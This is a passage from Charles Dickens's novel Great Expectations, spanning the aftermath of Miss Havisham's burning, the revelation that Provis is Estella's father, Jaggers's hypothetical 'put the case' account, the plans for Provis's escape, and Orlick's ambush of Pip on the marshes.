insensible, and I was afraid to have her moved, or even +touched. Assistance was sent for and I held her until it came, as +if I unreasonably fancied (I think I did) that if I let her go, the +fire would break out again and consume her. When I got up, on the +surgeon's coming to her with other aid, I was astonished to see +that both my hands were burnt; for, I had no knowledge of it +through the sense of feeling. + +On examination it was pronounced that she had received serious +hurts, but that they of themselves were far from hopeless; the +danger lay mainly in the nervous shock. By the surgeon's +directions, her bed was carried into that room and laid upon the +great table: which happened to be well suited to the dressing of +her injuries. When I saw her again, an hour afterwards, she lay +indeed where I had seen her strike her stick, and had heard her say +that she would lie one day. + +Though every vestige of her dress was burnt, as they told me, she +still had something of her old ghastly bridal appearance; for, they +had covered her to the throat with white cotton-wool, and as she +lay with a white sheet loosely overlying that, the phantom air of +something that had been and was changed, was still upon her. + +I found, on questioning the servants, that Estella was in Paris, +and I got a promise from the surgeon that he would write to her by +the next post. Miss Havisham's family I took upon myself; intending +to communicate with Mr. Matthew Pocket only, and leave him to do as +he liked about informing the rest. This I did next day, through +Herbert, as soon as I returned to town. + +There was a stage, that evening, when she spoke collectedly of what +had happened, though with a certain terrible vivacity. Towards +midnight she began to wander in her speech, and after that it +gradually set in that she said innumerable times in a low solemn +voice, "What have I done!" And then, "When she first came, I meant +to save her from misery like mine." And then, "Take the pencil and +write under my name, 'I forgive her!'" She never changed the order +of these three sentences, but she sometimes left out a word in one +or other of them; never putting in another word, but always leaving +a blank and going on to the next word. + +As I could do no service there, and as I had, nearer home, that +pressing reason for anxiety and fear which even her wanderings +could not drive out of my mind, I decided in the course of the +night that I would return by the early morning coach: walking on a +mile or so, and being taken up clear of the town. At about six +o'clock of the morning, therefore, I leaned over her and touched +her lips with mine, just as they said, not stopping for being +touched, "Take the pencil and write under my name, 'I forgive +her.'" + + +Chapter 50 + +My hands had been dressed twice or thrice in the night, and again +in the morning. My left arm was a good deal burned to the elbow, +and, less severely, as high as the shoulder; it was very painful, +but the flames had set in that direction, and I felt thankful it +was no worse. My right hand was not so badly burnt but that I could +move the fingers. It was bandaged, of course, but much less +inconveniently than my left hand and arm; those I carried in a +sling; and I could only wear my coat like a cloak, loose over my +shoulders and fastened at the neck. My hair had been caught by the +fire, but not my head or face. + +When Herbert had been down to Hammersmith and seen his father, he +came back to me at our chambers, and devoted the day to attending on +me. He was the kindest of nurses, and at stated times took off the +bandages, and steeped them in the cooling liquid that was kept +ready, and put them on again, with a patient tenderness that I was +deeply grateful for. + +At first, as I lay quiet on the sofa, I found it painfully +difficult, I might say impossible, to get rid of the impression of +the glare of the flames, their hurry and noise, and the fierce +burning smell. If I dozed for a minute, I was awakened by Miss +Havisham's cries, and by her running at me with all that height of +fire above her head. This pain of the mind was much harder to +strive against than any bodily pain I suffered; and Herbert, seeing +that, did his utmost to hold my attention engaged. + +Neither of us spoke of the boat, but we both thought of it. That +was made apparent by our avoidance of the subject, and by our +agreeing - without agreement - to make my recovery of the use of my +hands, a question of so many hours, not of so many weeks. + +My first question when I saw Herbert had been of course, whether +all was well down the river? As he replied in the affirmative, with +perfect confidence and cheerfulness, we did not resume the subject +until the day was wearing away. But then, as Herbert changed the +bandages, more by the light of the fire than by the outer light, he +went back to it spontaneously. + +"I sat with Provis last night, Handel, two good hours." + +"Where was Clara?" + +"Dear little thing!" said Herbert. "She was up and down with +Gruffandgrim all the evening. He was perpetually pegging at the +floor, the moment she left his sight. I doubt if he can hold out +long though. What with rum and pepper - and pepper and rum - I +should think his pegging must be nearly over." + +"And then you will be married, Herbert?" + +"How can I take care of the dear child otherwise? - Lay your arm +out upon the back of the sofa, my dear boy, and I'll sit down here, +and get the bandage off so gradually that you shall not know when +it comes. I was speaking of Provis. Do you know, Handel, he +improves?" + +"I said to you I thought he was softened when I last saw him." + +"So you did. And so he is. He was very communicative last night, +and told me more of his life. You remember his breaking off here +about some woman that he had had great trouble with. - Did I hurt +you?" + +I had started, but not under his touch. His words had given me a +start. + +"I had forgotten that, Herbert, but I remember it now you speak of +it." + +"Well! He went into that part of his life, and a dark wild part it +is. Shall I tell you? Or would it worry you just now?" + +"Tell me by all means. Every word." + +Herbert bent forward to look at me more nearly, as if my reply had +been rather more hurried or more eager than he could quite account +for. "Your head is cool?" he said, touching it. + +"Quite," said I. "Tell me what Provis said, my dear Herbert." + +"It seems," said Herbert, " - there's a bandage off most +charmingly, and now comes the cool one - makes you shrink at first, +my poor dear fellow, don't it? but it will be comfortable presently +- it seems that the woman was a young woman, and a jealous woman, +and a revengeful woman; revengeful, Handel, to the last degree." + +"To what last degree?" + +"Murder. - Does it strike too cold on that sensitive place?" + +"I don't feel it. How did she murder? Whom did she murder?" "Why, +the deed may not have merited quite so terrible a name," said +Herbert, "but, she was tried for it, and Mr. Jaggers defended her, +and the reputation of that defence first made his name known to +Provis. It was another and a stronger woman who was the victim, and +there had been a struggle - in a barn. Who began it, or how fair it +was, or how unfair, may be doubtful; but how it ended, is certainly +not doubtful, for the victim was found throttled." + +"Was the woman brought in guilty?" + +"No; she was acquitted. - My poor Handel, I hurt you!" + +"It is impossible to be gentler, Herbert. Yes? What else?" + +"This acquitted young woman and Provis had a little child: a little +child of whom Provis was exceedingly fond. On the evening of the +very night when the object of her jealousy was strangled as I tell +you, the young woman presented herself before Provis for one +moment, and swore that she would destroy the child (which was in +her possession), and he should never see it again; then, she +vanished. - There's the worst arm comfortably in the sling once +more, and now there remains but the right hand, which is a far +easier job. I can do it better by this light than by a stronger, +for my hand is steadiest when I don't see the poor blistered +patches too distinctly. - You don't think your breathing is +affected, my dear boy? You seem to breathe quickly." + +"Perhaps I do, Herbert. Did the woman keep her oath?" + +"There comes the darkest part of Provis's life. She did." + +"That is, he says she did." + +"Why, of course, my dear boy," returned Herbert, in a tone of +surprise, and again bending forward to get a nearer look at me. "He +says it all. I have no other information." + +"No, to be sure." + +"Now, whether," pursued Herbert, "he had used the child's mother +ill, or whether he had used the child's mother well, Provis doesn't +say; but, she had shared some four or five years of the wretched +life he described to us at this fireside, and he seems to have felt +pity for her, and forbearance towards her. Therefore, fearing he +should be called upon to depose about this destroyed child, and so +be the cause of her death, he hid himself (much as he grieved for +the child), kept himself dark, as he says, out of the way and out +of the trial, and was only vaguely talked of as a certain man +called Abel, out of whom the jealousy arose. After the acquittal +she disappeared, and thus he lost the child and the child's +mother." + +"I want to ask--" + +"A moment, my dear boy, and I have done. That evil genius, +Compeyson, the worst of scoundrels among many scoundrels, knowing +of his keeping out of the way at that time, and of his reasons for +doing so, of course afterwards held the knowledge over his head as +a means of keeping him poorer, and working him harder. It was clear +last night that this barbed the point of Provis's animosity." + +"I want to know," said I, "and particularly, Herbert, whether he +told you when this happened?" + +"Particularly? Let me remember, then, what he said as to that. His +expression was, 'a round score o' year ago, and a'most directly +after I took up wi' Compeyson.' How old were you when you came upon +him in the little churchyard?" + +"I think in my seventh year." + +"Ay. It had happened some three or four years then, he said, and +you brought into his mind the little girl so tragically lost, who +would have been about your age." + +"Herbert," said I, after a short silence, in a hurried way, "can +you see me best by the light of the window, or the light of the +fire?" + +"By the firelight," answered Herbert, coming close again. + +"Look at me." + +"I do look at you, my dear boy." + +"Touch me." + +"I do touch you, my dear boy." + +"You are not afraid that I am in any fever, or that my head is much +disordered by the accident of last night?" + +"N-no, my dear boy," said Herbert, after taking time to examine me. +"You are rather excited, but you are quite yourself." + +"I know I am quite myself. And the man we have in hiding down the +river, is Estella's Father." + + +Chapter 51 + +What purpose I had in view when I was hot on tracing out and +proving Estella's parentage, I cannot say. It will presently be +seen that the question was not before me in a distinct shape, until +it was put before me by a wiser head than my own. + +But, when Herbert and I had held our momentous conversation, I was +seized with a feverish conviction that I ought to hunt the matter +down - that I ought not to let it rest, but that I ought to see Mr. +Jaggers, and come at the bare truth. I really do not know whether I +felt that I did this for Estella's sake, or whether I was glad to +transfer to the man in whose preservation I was so much concerned, +some rays of the romantic interest that had so long surrounded her. +Perhaps the latter possibility may be the nearer to the truth. + +Any way, I could scarcely be withheld from going out to +Gerrard-street that night. Herbert's representations that if I did, +I should probably be laid up and stricken useless, when our +fugitive's safety would depend upon me, alone restrained my +impatience. On the understanding, again and again reiterated, that +come what would, I was to go to Mr. Jaggers to-morrow, I at length +submitted to keep quiet, and to have my hurts looked after, and to +stay at home. Early next morning we went out together, and at the +corner of Giltspur-street by Smithfield, I left Herbert to go his +way into the City, and took my way to Little Britain. + +There were periodical occasions when Mr. Jaggers and Wemmick went +over the office accounts, and checked off the vouchers, and put all +things straight. On these occasions Wemmick took his books and +papers into Mr. Jaggers's room, and one of the up-stairs clerks came +down into the outer office. Finding such clerk on Wemmick's post +that morning, I knew what was going on; but, I was not sorry to +have Mr. Jaggers and Wemmick together, as Wemmick would then hear +for himself that I said nothing to compromise him. + +My appearance with my arm bandaged and my coat loose over my +shoulders, favoured my object. Although I had sent Mr. Jaggers a +brief account of the accident as soon as I had arrived in town, yet +I had to give him all the details now; and the speciality of the +occasion caused our talk to be less dry and hard, and less strictly +regulated by the rules of evidence, than it had been before. While +I described the disaster, Mr. Jaggers stood, according to his wont, +before the fire. Wemmick leaned back in his chair, staring at me, +with his hands in the pockets of his trousers, and his pen put +horizontally into the post. The two brutal casts, always +inseparable in my mind from the official proceedings, seemed to be +congestively considering whether they didn't smell fire at the +present moment. + +My narrative finished, and their questions exhausted, I then +produced Miss Havisham's authority to receive the nine hundred +pounds for Herbert. Mr. Jaggers's eyes retired a little deeper into +his head when I handed him the tablets, but he presently handed +them over to Wemmick, with instructions to draw the cheque for his +signature. While that was in course of being done, I looked on at +Wemmick as he wrote, and Mr. Jaggers, poising and swaying himself on +his well-polished boots, looked on at me. "I am sorry, Pip," said +he, as I put the cheque in my pocket, when he had signed it, "that +we do nothing for you." + +"Miss Havisham was good enough to ask me," I returned, "whether she +could do nothing for me, and I told her No." + +"Everybody should know his own business," said Mr. Jaggers. And I +saw Wemmick's lips form the words "portable property." + +"I should not have told her No, if I had been you," said Mr +Jaggers; "but every man ought to know his own business best." + +"Every man's business," said Wemmick, rather reproachfully towards +me, "is portable property." + +As I thought the time was now come for pursuing the theme I had at +heart, I said, turning on Mr. Jaggers: + +"I did ask something of Miss Havisham, however, sir. I asked her to +give me some information relative to her adopted daughter, and she +gave me all she possessed." + +"Did she?" said Mr. Jaggers, bending forward to look at his boots +and then straightening himself. "Hah! I don't think I should have +done so, if I had been Miss Havisham. But she ought to know her own +business best." + +"I know more of the history of Miss Havisham's adopted child, than +Miss Havisham herself does, sir. I know her mother." + +Mr. Jaggers looked at me inquiringly, and repeated "Mother?" + +"I have seen her mother within these three days." + +"Yes?" said Mr. Jaggers. + +"And so have you, sir. And you have seen her still more recently." + +"Yes?" said Mr. Jaggers. + +"Perhaps I know more of Estella's history than even you do," said +I. "I know her father too." + +A certain stop that Mr. Jaggers came to in his manner - he was too +self-possessed to change his manner, but he could not help its +being brought to an indefinably attentive stop - assured me that he +did not know who her father was. This I had strongly suspected from +Provis's account (as Herbert had repeated it) of his having kept +himself dark; which I pieced on to the fact that he himself was not +Mr. Jaggers's client until some four years later, and when he could +have no reason for claiming his identity. But, I could not be sure +of this unconsciousness on Mr. Jaggers's part before, though I was +quite sure of it now. + +"So! You know the young lady's father, Pip?" said Mr. Jaggers. + +"Yes," I replied, "and his name is Provis - from New South Wales." + +Even Mr. Jaggers started when I said those words. It was the +slightest start that could escape a man, the most carefully +repressed and the soonest checked, but he did start, though he made +it a part of the action of taking out his pocket-handkerchief. How +Wemmick received the announcement I am unable to say, for I was +afraid to look at him just then, lest Mr. Jaggers's sharpness should +detect that there had been some communication unknown to him +between us. + +"And on what evidence, Pip," asked Mr. Jaggers, very coolly, as he +paused with his handkerchief half way to his nose, "does Provis +make this claim?" + +"He does not make it," said I, "and has never made it, and has no +knowledge or belief that his daughter is in existence." + +For once, the powerful pocket-handkerchief failed. My reply was so +unexpected that Mr. Jaggers put the handkerchief back into his +pocket without completing the usual performance, folded his arms, +and looked with stern attention at me, though with an immovable +face. + +Then I told him all I knew, and how I knew it; with the one +reservation that I left him to infer that I knew from Miss Havisham +what I in fact knew from Wemmick. I was very careful indeed as to +that. Nor, did I look towards Wemmick until I had finished all I +had to tell, and had been for some time silently meeting Mr. +Jaggers's look. When I did at last turn my eyes in Wemmick's +direction, I found that he had unposted his pen, and was intent +upon the table before him. + +"Hah!" said Mr. Jaggers at last, as he moved towards the papers on +the table, " - What item was it you were at, Wemmick, when Mr. Pip +came in?" + +But I could not submit to be thrown off in that way, and I made a +passionate, almost an indignant, appeal to him to be more frank and +manly with me. I reminded him of the false hopes into which I had +lapsed, the length of time they had lasted, and the discovery I had +made: and I hinted at the danger that weighed upon my spirits. I +represented myself as being surely worthy of some little confidence +from him, in return for the confidence I had just now imparted. I +said that I did not blame him, or suspect him, or mistrust him, but +I wanted assurance of the truth from him. And if he asked me why I +wanted it and why I thought I had any right to it, I would tell +him, little as he cared for such poor dreams, that I had loved +Estella dearly and long, and that, although I had lost her and must +live a bereaved life, whatever concerned her was still nearer and +dearer to me than anything else in the world. And seeing that Mr. +Jaggers stood quite still and silent, and apparently quite +obdurate, under this appeal, I turned to Wemmick, and said, +"Wemmick, I know you to be a man with a gentle heart. I have seen +your pleasant home, and your old father, and all the innocent +cheerful playful ways with which you refresh your business life. +And I entreat you to say a word for me to Mr. Jaggers, and to +represent to him that, all circumstances considered, he ought to be +more open with me!" + +I have never seen two men look more oddly at one another than Mr. +Jaggers and Wemmick did after this apostrophe. At first, a +misgiving crossed me that Wemmick would be instantly dismissed from +his employment; but, it melted as I saw Mr. Jaggers relax into +something like a smile, and Wemmick become bolder. + +"What's all this?" said Mr. Jaggers. "You with an old father, and +you with pleasant and playful ways?" + +"Well!" returned Wemmick. "If I don't bring 'em here, what does it +matter?" + +"Pip," said Mr. Jaggers, laying his hand upon my arm, and smiling +openly, "this man must be the most cunning impostor in all London." + +"Not a bit of it," returned Wemmick, growing bolder and bolder. "I +think you're another." + +Again they exchanged their former odd looks, each apparently still +distrustful that the other was taking him in. + +"You with a pleasant home?" said Mr. Jaggers. + +"Since it don't interfere with business," returned Wemmick, "let it +be so. Now, I look at you, sir, I shouldn't wonder if you might be +planning and contriving to have a pleasant home of your own, one of +these days, when you're tired of all this work." + +Mr. Jaggers nodded his head retrospectively two or three times, and +actually drew a sigh. "Pip," said he, "we won't talk about 'poor +dreams;' you know more about such things than I, having much +fresher experience of that kind. But now, about this other matter. +I'll put a case to you. Mind! I admit nothing." + +He waited for me to declare that I quite understood that he +expressly said that he admitted nothing. + +"Now, Pip," said Mr. Jaggers, "put this case. Put the case that a +woman, under such circumstances as you have mentioned, held her +child concealed, and was obliged to communicate the fact to her +legal adviser, on his representing to her that he must know, with +an eye to the latitude of his defence, how the fact stood about +that child. Put the case that at the same time he held a trust to +find a child for an eccentric rich lady to adopt and bring up." + +"I follow you, sir." + +"Put the case that he lived in an atmosphere of evil, and that all +he saw of children, was, their being generated in great numbers for +certain destruction. Put the case that he often saw children +solemnly tried at a criminal bar, where they were held up to be +seen; put the case that he habitually knew of their being +imprisoned, whipped, transported, neglected, cast out, qualified in +all ways for the hangman, and growing up to be hanged. Put the case +that pretty nigh all the children he saw in his daily business +life, he had reason to look upon as so much spawn, to develop into +the fish that were to come to his net - to be prosecuted, defended, +forsworn, made orphans, bedevilled somehow." + +"I follow you, sir." + +"Put the case, Pip, that here was one pretty little child out of +the heap, who could be saved; whom the father believed dead, and +dared make no stir about; as to whom, over the mother, the legal +adviser had this power: "I know what you did, and how you did it. +You came so and so, this was your manner of attack and this the +manner of resistance, you went so and so, you did such and such +things to divert suspicion. I have tracked you through it all, and +I tell it you all. Part with the child, unless it should be +necessary to produce it to clear you, and then it shall be +produced. Give the child into my hands, and I will do my best to +bring you off. If you are saved, your child is saved too; if you +are lost, your child is still saved." Put the case that this was +done, and that the woman was cleared." + +"I understand you perfectly." + +"But that I make no admissions?" + +"That you make no admissions." And Wemmick repeated, "No +admissions." + +"Put the case, Pip, that passion and the terror of death had a +little shaken the woman's intellect, and that when she was set at +liberty, she was scared out of the ways of the world and went to +him to be sheltered. Put the case that he took her in, and that he +kept down the old wild violent nature whenever he saw an inkling of +its breaking out, by asserting his power over her in the old way. +Do you comprehend the imaginary case?" + +"Quite." + +"Put the case that the child grew up, and was married for money. +That the mother was still living. That the father was still living. +That the mother and father unknown to one another, were dwelling +within so many miles, furlongs, yards if you like, of one another. +That the secret was still a secret, except that you had got wind of +it. Put that last case to yourself very carefully." + +"I do." + +"I ask Wemmick to put it to himself very carefully." + +And Wemmick said, "I do." + +"For whose sake would you reveal the secret? For the father's? I +think he would not be much the better for the mother. For the +mother's? I think if she had done such a deed she would be safer +where she was. For the daughter's? I think it would hardly serve +her, to establish her parentage for the information of her husband, +and to drag her back to disgrace, after an escape of twenty years, +pretty secure to last for life. But, add the case that you had +loved her, Pip, and had made her the subject of those 'poor dreams' +which have, at one time or another, been in the heads of more men +than you think likely, then I tell you that you had better - and +would much sooner when you had thought well of it - chop off that +bandaged left hand of yours with your bandaged right hand, and then +pass the chopper on to Wemmick there, to cut that off, too." + +I looked at Wemmick, whose face was very grave. He gravely touched +his lips with his forefinger. I did the same. Mr. Jaggers did the +same. "Now, Wemmick," said the latter then, resuming his usual +manner, "what item was it you were at, when Mr. Pip came in?" + +Standing by for a little, while they were at work, I observed that +the odd looks they had cast at one another were repeated several +times: with this difference now, that each of them seemed +suspicious, not to say conscious, of having shown himself in a weak +and unprofessional light to the other. For this reason, I suppose, +they were now inflexible with one another; Mr. Jaggers being highly +dictatorial, and Wemmick obstinately justifying himself whenever +there was the smallest point in abeyance for a moment. I had never +seen them on such ill terms; for generally they got on very well +indeed together. + +But, they were both happily relieved by the opportune appearance of +Mike, the client with the fur cap and the habit of wiping his nose +on his sleeve, whom I had seen on the very first day of my +appearance within those walls. This individual, who, either in his +own person or in that of some member of his family, seemed to be +always in trouble (which in that place meant Newgate), called to +announce that his eldest daughter was taken up on suspicion of +shop-lifting. As he imparted this melancholy circumstance to +Wemmick, Mr. Jaggers standing magisterially before the fire and +taking no share in the proceedings, Mike's eye happened to twinkle +with a tear. + +"What are you about?" demanded Wemmick, with the utmost +indignation. "What do you come snivelling here for?" + +"I didn't go to do it, Mr. Wemmick." + +"You did," said Wemmick. "How dare you? You're not in a fit state +to come here, if you can't come here without spluttering like a bad +pen. What do you mean by it?" + +"A man can't help his feelings, Mr. Wemmick," pleaded Mike. + +"His what?" demanded Wemmick, quite savagely. "Say that again!" + +"Now, look here my man," said Mr. Jaggers, advancing a step, and +pointing to the door. "Get out of this office. I'll have no +feelings here. Get out." + +"It serves you right," said Wemmick, "Get out." + +So the unfortunate Mike very humbly withdrew, and Mr. Jaggers and +Wemmick appeared to have re-established their good understanding, +and went to work again with an air of refreshment upon them as if +they had just had lunch. + + +Chapter 52 + +From Little Britain, I went, with my cheque in my pocket, to Miss +Skiffins's brother, the accountant; and Miss Skiffins's brother, +the accountant, going straight to Clarriker's and bringing +Clarriker to me, I had the great satisfaction of concluding that +arrangement. It was the only good thing I had done, and the only +completed thing I had done, since I was first apprised of my great +expectations. + +Clarriker informing me on that occasion that the affairs of the +House were steadily progressing, that he would now be able to +establish a small branch-house in the East which was much wanted +for the extension of the business, and that Herbert in his new +partnership capacity would go out and take charge of it, I found +that I must have prepared for a separation from my friend, even +though my own affairs had been more settled. And now indeed I felt +as if my last anchor were loosening its hold, and I should soon be +driving with the winds and waves. + +But, there was recompense in the joy with which Herbert would come +home of a night and tell me of these changes, little imagining that +he told me no news, and would sketch airy pictures of himself +conducting Clara Barley to the land of the Arabian Nights, and of +me going out to join them (with a caravan of camels, I believe), +and of our all going up the Nile and seeing wonders. Without being +sanguine as to my own part in these bright plans, I felt that +Herbert's way was clearing fast, and that old Bill Barley had but +to stick to his pepper and rum, and his daughter would soon be +happily provided for. + +We had now got into the month of March. My left arm, though it +presented no bad symptoms, took in the natural course so long to +heal that I was still unable to get a coat on. My right arm was +tolerably restored; - disfigured, but fairly serviceable. + +On a Monday morning, when Herbert and I were at breakfast, I +received the following letter from Wemmick by the post. + +"Walworth. Burn this as soon as read. Early in the week, or say +Wednesday, you might do what you know of, if you felt disposed to +try it. Now burn." + +When I had shown this to Herbert and had put it in the fire - but +not before we had both got it by heart - we considered what to do. +For, of course my being disabled could now be no longer kept out of +view. + +"I have thought it over, again and again," said Herbert, "and I +think I know a better course than taking a Thames waterman. Take +Startop. A good fellow, a skilled hand, fond of us, and +enthusiastic and honourable." + +I had thought of him, more than once. + +"But how much would you tell him, Herbert?" + +"It is necessary to tell him very little. Let him suppose it a mere +freak, but a secret one, until the morning comes: then let him know +that there is urgent reason for your getting Provis aboard and +away. You go with him?" + +"No doubt." + +"Where?" + +It had seemed to me, in the many anxious considerations I had given +the point, almost indifferent what port we made for - Hamburg, +Rotterdam, Antwerp - the place signified little, so that he was got +out of England. Any foreign steamer that fell in our way and would +take us up, would do. I had always proposed to myself to get him +well down the river in the boat; certainly well beyond Gravesend, +which was a critical place for search or inquiry if suspicion were +afoot. As foreign steamers would leave London at about the time of +high-water, our plan would be to get down the river by a previous +ebb-tide, and lie by in some quiet spot until we could pull off to +one. The time when one would be due where we lay, wherever that +might be, could be calculated pretty nearly, if we made inquiries +beforehand. + +Herbert assented to all this, and we went out immediately after +breakfast to pursue our investigations. We found that a steamer for +Hamburg was likely to suit our purpose best, and we directed our +thoughts chiefly to that vessel. But we noted down what other +foreign steamers would leave London with the same tide, and we +satisfied ourselves that we knew the build and colour of each. We +then separated for a few hours; I, to get at once such passports as +were necessary; Herbert, to see Startop at his lodgings. We both +did what we had to do without any hindrance, and when we met again +at one o'clock reported it done. I, for my part, was prepared with +passports; Herbert had seen Startop, and he was more than ready to +join. + +Those two should pull a pair of oars, we settled, and I would +steer; our charge would be sitter, and keep quiet; as speed was not +our object, we should make way enough. We arranged that Herbert +should not come home to dinner before going to Mill Pond Bank that +evening; that he should not go there at all, to-morrow evening, +Tuesday; that he should prepare Provis to come down to some Stairs +hard by the house, on Wednesday, when he saw us approach, and not +sooner; that all the arrangements with him should be concluded that +Monday night; and that he should be communicated with no more in +any way, until we took him on board. + +These precautions well understood by both of us, I went home. + +On opening the outer door of our chambers with my key, I found a +letter in the box, directed to me; a very dirty letter, though not +ill-written. It had been delivered by hand (of course since I left +home), and its contents were these: + +"If you are not afraid to come to the old marshes to-night or +tomorrow night at Nine, and to come to the little sluice-house by +the limekiln, you had better come. If you want information +regarding your uncle Provis, you had much better come and tell no +one and lose no time. You must come alone. Bring this with you." + +I had had load enough upon my mind before the receipt of this +strange letter. What to do now, I could not tell. And the worst +was, that I must decide quickly, or I should miss the afternoon +coach, which would take me down in time for to-night. To-morrow +night I could not think of going, for it would be too close upon +the time of the flight. And again, for anything I knew, the +proffered information might have some important bearing on the +flight itself. + +If I had had ample time for consideration, I believe I should still +have gone. Having hardly any time for consideration - my watch +showing me that the coach started within half an hour - I resolved +to go. I should certainly not have gone, but for the reference to +my Uncle Provis; that, coming on Wemmick's letter and the morning's +busy preparation, turned the scale. + +It is so difficult to become clearly possessed of the contents of +almost any letter, in a violent hurry, that I had to read this +mysterious epistle again, twice, before its injunction to me to be +secret got mechanically into my mind. Yielding to it in the same +mechanical kind of way, I left a note in pencil for Herbert, +telling him that as I should be so soon going away, I knew not for +how long, I had decided to hurry down and back, to ascertain for +myself how Miss Havisham was faring. I had then barely time to get +my great-coat, lock up the chambers, and make for the coach-office +by the short by-ways. If I had taken a hackney-chariot and gone by +the streets, I should have missed my aim; going as I did, I caught +the coach just as it came out of the yard. I was the only inside +passenger, jolting away knee-deep in straw, when I came to myself. + +For, I really had not been myself since the receipt of the letter; +it had so bewildered me ensuing on the hurry of the morning. The +morning hurry and flutter had been great, for, long and anxiously +as I had waited for Wemmick, his hint had come like a surprise at +last. And now, I began to wonder at myself for being in the coach, +and to doubt whether I had sufficient reason for being there, and +to consider whether I should get out presently and go back, and to +argue against ever heeding an anonymous communication, and, in +short, to pass through all those phases of contradiction and +indecision to which I suppose very few hurried people are +strangers. Still, the reference to Provis by name, mastered +everything. I reasoned as I had reasoned already without knowing it +- if that be reasoning - in case any harm should befall him through +my not going, how could I ever forgive myself! + +It was dark before we got down, and the journey seemed long and +dreary to me who could see little of it inside, and who could not +go outside in my disabled state. Avoiding the Blue Boar, I put up +at an inn of minor reputation down the town, and ordered some +dinner. While it was preparing, I went to Satis House and inquired +for Miss Havisham; she was still very ill, though considered +something better. + +My inn had once been a part of an ancient ecclesiastical house, and +I dined in a little octagonal common-room, like a font. As I was +not able to cut my dinner, the old landlord with a shining bald +head did it for me. This bringing us into conversation, he was so +good as to entertain me with my own story - of course with the +popular feature that Pumblechook was my earliest benefactor and the +founder of my fortunes. + +"Do you know the young man?" said I. + +"Know him!" repeated the landlord. "Ever since he was - no height +at all." + +"Does he ever come back to this neighbourhood?" + +"Ay, he comes back," said the landlord, "to his great friends, now +and again, and gives the cold shoulder to the man that made him." + +"What man is that?" + +"Him that I speak of," said the landlord. "Mr. Pumblechook." + +"Is he ungrateful to no one else?" + +"No doubt he would be, if he could," returned the landlord, "but he +can't. And why? Because Pumblechook done everything for him." + +"Does Pumblechook say so?" + +"Say so!" replied the landlord. "He han't no call to say so." + +"But does he say so?" + +"It would turn a man's blood to white wine winegar to hear him tell +of it, sir," said the landlord. + +I thought, "Yet Joe, dear Joe, you never tell of it. Long-suffering +and loving Joe, you never complain. Nor you, sweet-tempered Biddy!" + +"Your appetite's been touched like, by your accident," said the +landlord, glancing at the bandaged arm under my coat. "Try a +tenderer bit." + +"No thank you," I replied, turning from the table to brood over the +fire. "I can eat no more. Please take it away." + +I had never been struck at so keenly, for my thanklessness to Joe, +as through the brazen impostor Pumblechook. The falser he, the +truer Joe; the meaner he, the nobler Joe. + +My heart was deeply and most deservedly humbled as I mused over the +fire for an hour or more. The striking of the clock aroused me, but +not from my dejection or remorse, and I got up and had my coat +fastened round my neck, and went out. I had previously sought in my +pockets for the letter, that I might refer to it again, but I could +not find it, and was uneasy to think that it must have been dropped +in the straw of the coach. I knew very well, however, that the +appointed place was the little sluice-house by the limekiln on the +marshes, and the hour nine. Towards the marshes I now went +straight, having no time to spare. + + +Chapter 53 + +It was a dark night, though the full moon rose as I left the +enclosed lands, and passed out upon the marshes. Beyond their dark +line there was a ribbon of clear sky, hardly broad enough to hold +the red large moon. In a few minutes she had ascended out of that +clear field, in among the piled mountains of cloud. + +There was a melancholy wind, and the marshes were very dismal. A +stranger would have found them insupportable, and even to me they +were so oppressive that I hesitated, half inclined to go back. But, +I knew them well, and could have found my way on a far darker +night, and had no excuse for returning, being there. So, having +come there against my inclination, I went on against it. + +The direction that I took, was not that in which my old home lay, +nor that in which we had pursued the convicts. My back was turned +towards the distant Hulks as I walked on, and, though I could see +the old lights away on the spits of sand, I saw them over my +shoulder. I knew the limekiln as well as I knew the old Battery, +but they were miles apart; so that if a light had been burning at +each point that night, there would have been a long strip of the +blank horizon between the two bright specks. + +At first, I had to shut some gates after me, and now and then to +stand still while the cattle that were lying in the banked-up +pathway, arose and blundered down among the grass and reeds. But +after a little while, I seemed to have the whole flats to myself. + +It was another half-hour before I drew near to the kiln. The lime +was burning with a sluggish stifling smell, but the fires were made +up and left, and no workmen were visible. Hard by, was a small +stone-quarry. It lay directly in my way, and had been worked that +day, as I saw by the tools and barrows that were lying about. + +Coming up again to the marsh level out of this excavation - for the +rude path lay through it - I saw a light in the old sluice-house. I +quickened my pace, and knocked at the door with my hand. Waiting +for some reply, I looked about me, noticing how the sluice was +abandoned and broken, and how the house - of wood with a tiled roof +- would not be proof against the weather much longer, if it were so +even now, and how the mud and ooze were coated with lime, and how +the choking vapour of the kiln crept in a ghostly way towards me. +Still there was no answer, and I knocked again. No answer still, +and I tried the latch. + +It rose under my hand, and the door yielded. Looking in, I saw a +lighted candle on a table, a bench, and a mattress on a truckle +bedstead. As there was a loft above, I called, "Is there any one +here?" but no voice answered. Then, I looked at my watch, and, +finding that it was past nine, called again, "Is there any one +here?" There being still no answer, I went out at the door, +irresolute what to do. + +It was beginning to rain fast. Seeing nothing save what I had seen +already, I turned back into the house, and stood just within the +shelter of the doorway, looking out into the night. While I was +considering that some one must have been there lately and must soon +be coming back, or the candle would not be burning, it came into my +head to look if the wick were long. I turned round to do so, and +had taken up the candle in my hand, when it was extinguished by +some violent shock, and the next thing I comprehended, was, that I +had been caught in a strong running noose, thrown over my head from +behind. + +"Now," said a suppressed voice with an oath, "I've got you!" + +"What is this?" I cried, struggling. "Who is it? Help, help, help!" + +Not only were my arms pulled close to my sides, but the pressure on +my bad arm caused me exquisite pain. Sometimes, a strong man's +hand, sometimes a strong man's breast, was set against my mouth to +deaden my cries, and with a hot breath always close to me, I +struggled ineffectually in the dark, while I was fastened tight to +the wall. "And now," said the suppressed voice with another oath, +"call out again, and I'll make short work of you!" + +Faint and sick with the pain of my injured arm, bewildered by the +surprise, and yet conscious how easily this threat could be put in +execution, I desisted, and tried to ease my arm were it ever so +little. But, it was bound too tight for that. I felt as if, having +been burnt before, it were now being boiled. + +The sudden exclusion of the night and the substitution of black +darkness in its place, warned me that the man had closed a shutter. +After groping about for a little, he found the flint and steel he +wanted, and began to strike a light. I strained my sight upon the +sparks that fell among the tinder, and upon which he breathed and +breathed, match in hand, but I could only see his lips, and the +blue point of the match; even those, but fitfully. The tinder was +damp - no wonder there - and one after another the sparks died out. + +The man was in no hurry, and struck again with the flint and steel. +As the sparks fell thick and bright about him, I could see his +hands, and touches of his face, and could make out that he was +seated and bending over the table; but nothing more. Presently I +saw his blue lips again, breathing on the tinder, and then a flare +of light flashed up, and showed me Orlick. + +Whom I had looked for, I don't know. I had not looked for him. +Seeing him, I felt that I was in a dangerous strait indeed, and I +kept my eyes upon him. + +He lighted the candle from the flaring match with great 